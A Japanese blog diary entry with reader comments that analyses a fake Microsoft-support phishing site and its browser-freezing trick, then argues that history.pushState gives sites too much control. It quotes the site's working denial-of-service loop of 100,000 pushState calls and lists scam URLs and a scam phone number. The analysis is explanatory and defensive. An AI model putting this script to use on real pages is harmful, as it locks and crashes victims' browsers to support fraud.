Torisugariの日記: window.history.pushState(...) を使ったブラクラ 6
最初に、ブラクラを使ったフィッシングサイトの紹介をしようと思っていたのですが、私が知っているURLは既にデッドリンクになってるんですよね。ちなみに、そのURLはhttp://www.support.microsoft2329yjpmss5825.com.s3-website-ap-northeast-1.amazonaws.com/で、またamazonaws.comかよ、とか色々なツッコミどころもあるんですけど、もう外部からは検証不可能なので、なんだか法螺話みたいになってしまったのは勘弁してください。私のブラウザの履歴では今年の7月13日になっているので、そのころまでは健在でした。
このフィッシングサイトは全体的に日本語で書かれていましたが、title要素の中身は"Erreur de securitte"とフランス語を思わせます。つまり、フランス語向けのフィッシングサイトを日本語に翻訳して作成されたのでしょう。そのほかの特徴として、script要素では文字コードが混在しています。日本語の部分はShift-JISで、元あったコードの方は文字化けしています。
最初の見出しには「不審なアクティビティの為Windowsがブロックされました。コンピュータをシャットダウンもしくは再起動しないで下さい。」と書かれていて、この文字列で検索すると、複数のまとめサイトができていて、かなり広範囲にわたってフィッシング行為が認識されていたことが伺えます。「マイクロソフト サポート」を騙っていて、自称エラー番号は「エラー # DW6VB36」、フィッシングの電話番号は"フリーダイアル 03 4579 5825"です。本物のマイクロソフトからも注意喚起が出ています。完全に同じものかはわかりませんが、まあ、ほぼ同一と考えて間違いないでしょう。
「マイクロソフトのサポートを装った詐欺にご注意ください」
https://news.microsoft.com/ja-jp/2017/04/26/170426-information-support/
---
ここから先が本題なんですが、「不審なアクティビティの為Windowsがブロックされました。」をGoogleで検索すると、検索候補に「消えない」が付きます。つまり、「不審なアクティビティの為Windowsがブロックされました。消えない」で検索している人が何人かはいるわけですね。
この手のフィッシングサイトは画面を占有し続けるために、いろいろなギミックを使っているのでしょうが、今回の場合、その本命が「history.pushState(...)を使ったDoS攻撃」です。実際に使われていたコード、件のフィッシングサイトで言うと、http://www.support.microsoft2329yjpmss5825.com.s3-website-ap-northeast-1.amazonaws.com/assests/defer.jsにあったスクリプトがこれです。
var total = "";
for( var i = 0; i < 100000; i++ ) {
total = total + i.toString();
history.pushState(0,0, total );
}
このDoSがdeferとは、なんとも気の利いた話じゃないですか。
フィッシングサイトの手口をブログで解説してしまうと、模倣犯を大量に生む危険があるので、元来、あまりやりたくはないんですが、敢えてその禁を犯す理由は、このスクリプトが有名なものだからです。初出はわかりませんが、2016年1月のツイートhttps://twitter.com/fatih_svml/status/689070600653041664で、変数名まで全く同じものが公開されていますし、中国語のサイトhttp://www.infoq.com/cn/articles/dos-attack-analysis-and-defenseでも、変数名が同じです。また、Mozillaでも(安全確保のために非公開にする措置を取らない)既知の公開バグとして扱われています。
Bug 1246773 - Rate-limit history.pushState use - when visiting certain website (misuse of History.pushState), browser hangs and consumes loads of memory
https://bugzilla.mozilla.org/show_bug.cgi?id=1246773
Bug 1242107 - Probably consider truncate unreasonably long url and drop unreasonable long history state
https://bugzilla.mozilla.org/show_bug.cgi?id=1242107
この攻撃がどれほど「有用」だったかは、フィッシングをしていた人が実際に捕まらないと検証できないでしょうが、バグの利用にとどまらず、その実証コード(PoC)と一字一句同じものが「実用」に耐えているのには、正直、驚かされます。いや、本当にびっくりしました。
-----
日記として書き留めておきたかったことは以上なので、ここからは余談です。
DOM HTMLの window.history.pushState(...)の使い方や使う側の意見は、ウェブ開発の指南本や指南サイトなどで解説されていることと思います。ここでは、ウェブ開発者とは逆の立場、ネットワークの手前側にいるブラウザやそのユーザーから見たpushStateについて、軽く触れておきます。いささか大げさな表現かもしれませんが、そもそも、pushState(...)には、倫理的な問題がある、と思うのです。
かつて、「(ウィルスに感染して)ブックマークが勝手にエロサイトになっていた」という話は、ありふれたものでした。こういう症状の実態がどうだったか、というのは議論の余地があると思いますが、少なくともそういう感想を抱くに至る被害が多発していたのは事実です。また、ウェブ開発の質問コーナーでは、「どうやったら『このページをブックマークに追加する』ボタンをサイト内に設置できますか?」というような相談が頻繁によせられていて、「それは無理です」という回答とあわせてFAQになっていました。「無理ならできるようにしてほしい」という要望もたくさん見かけました。
しかし、やっぱり無理なものは無理です。これは技術的に無理なわけではなく、倫理的に無理なのです。「『ブラウザがウェブサイトのコンテンツを操作する』ことは認められるが、『ウェブサイトがブラウザの機能を操作する』ことは認められない」というのが大前提のルールとしてあり、それを侵せば「ウィルス」呼ばわりも致し方ありません。
少し脱線すると、同様の理屈でwindow.print(...)もかなりインモラルだと考えられますが、一方で、このAPIを取ってしまうと今日明日にも困るところが続出するでしょう。今は、スマートフォンに代表されるように、そもそもプリンタと接続されていない機器が増えていますし、まっとうな標準化がなされたこともありませんから、2重の意味で消滅の可能性がありますが、現段階では前後左右の互換性のために維持されています。
つまり、私が先に述べた原則は既に金科玉条として存在しているわけではなく、これからそうなるように努力すべき目標とでもいうべきものです。そう努めなければ、モラルハザードによって、ユーザーがブラウザ自体を信用できなくなってしまうでしょう。ただ、マイクロソフトがActiveXとAddUrLToFavorites(...)を捨てたように、世の中の趨勢は少しずつこの方向に動いています。マルウェアの脅威が存在する限り、この歩みが止まることもないだろう、と私は思います。
そいう観点でhistory.pushState()を考えると、ウェブ開発者がユーザーのURLバーを書き換えるのは、一線を越えてしまっている、と私は思います。このフィッシング騒ぎも、元を糺せば、ウェブ開発者側がユーザーからUIのコントロールを奪い続けていることにあるので、hisotry.pushState()のバグが偶然見つかった、という話ではなく、もっと構造的な問題として、先に与えてしまった権限を上手く使われているだけなのです。
とはいえ、ですよ、もしpushStateを廃止してしまった時、ウェブ開発者がユーザーのURLバーを操作する方法がないか、といえば、そんなことはないので話は結構ややこしいのです。
例えば、あるサイトがURLを
http://www.example.com/cgi?item=banana
から、
http://www.example.com/cgi?item=banana&lang=ja
に変えたい、と思った時、サイト側はリダイレクトすれば目的を達成できます。逆に言うと、全く同じコンテンツを表示していてURLだけ変更したいのに、それにはリダイレクトしかない場合、完全に無駄な通信が大量発生します。URLに数文字足すだけで、文書全体がリロードされるわけですからね。これではウェブ開発者もユーザーも得をしないので、history.pushState(...)は確かに有用なのです。
まあ、このバグをブラウザ側で直すことは不可能ではありません。なんでもかんでもが仕様のせいとは言えないでしょうし、仕様に書かれていない範囲で無視するという方法もあります。実際、このDoSは履歴を大量に書き換えるので、Firefoxなら履歴のデータベース(SQL)にも負荷がかかるはずですが、こちらは対策済みなので履歴がクラッシュすることはありません。とはいえ、「全ての(モダンな)ブラウザが同じスクリプトでフリーズする」という事実は重い、と私は思います。各々が仕様に忠実に従った結果ですから、実装よりも仕様により多くの問題がある、と言わざるを得ないでしょう。
いささか、話が宗教染みてきましが、細かく対処するか、仕様を見直すか、ユーザーとウェブ開発者の距離感を再検討するいい機会ではないでしょうか。
Firefox 54.0.1の場合はクラッシュしました。 (スコア:0)
件の詐欺サイトを開くと操作不能になって、長時間経過後クラッシュするようです。
検索エンジンスパムに引っかかってクラッシュしたのは久々でした。
FirefoxはUI回りの処理は他のウィンドウやタブにも性能的な影響が極端に出るので結構致命的なDoS攻撃になるようで。
# しかも、セッション履歴には残らない&履歴にも残ってないという。
Re:Firefox 54.0.1の場合はクラッシュしました。 (スコア:1)
え?今、動いていますか?とりあえず、私が上で紹介したURLは、safebrowsing.google.comに報告しました。
クラッシュ自体を楽しみたい(?)なら、Bugzillaに載っていたcrashsafari.comがお勧めです。
Re: (スコア:0)
今は既に停止しております。
が、FirefoxのUIが応答なしになってしまい、最終的にクラッシュすることは確認済みです。
私も見ました (スコア:0)
私の場合履歴に残っていたドメインは www.support.microsoft07ajpmsd2343.com.s3-website-ap-northeast-1.amazonaws.com だったので、"microsoft"の後の英数字はランダムに変わるみたいですね。
どうやってウィンドウを消せないようにしていたのか技術的に興味があったのですがこれですっきりしました。pushStateにそんな仕様バグがあるのか。
Re:私も見ました (スコア:1)
> "microsoft"の後の英数字はランダムに変わるみたいですね。
なるほど、じゃあ、結構本格的というか、システマチックなのかもしれませんね。そういわれると、共通部分のjpmsが日本マイクロソフトに見えてくるので、ローカライズも含めて同時に手広くやってるのかも。
assests/defer.js (スコア:0)
http://www.support.microsoft9005yjpmss5825.com.s3-website-ap-northeast... [amazonaws.com]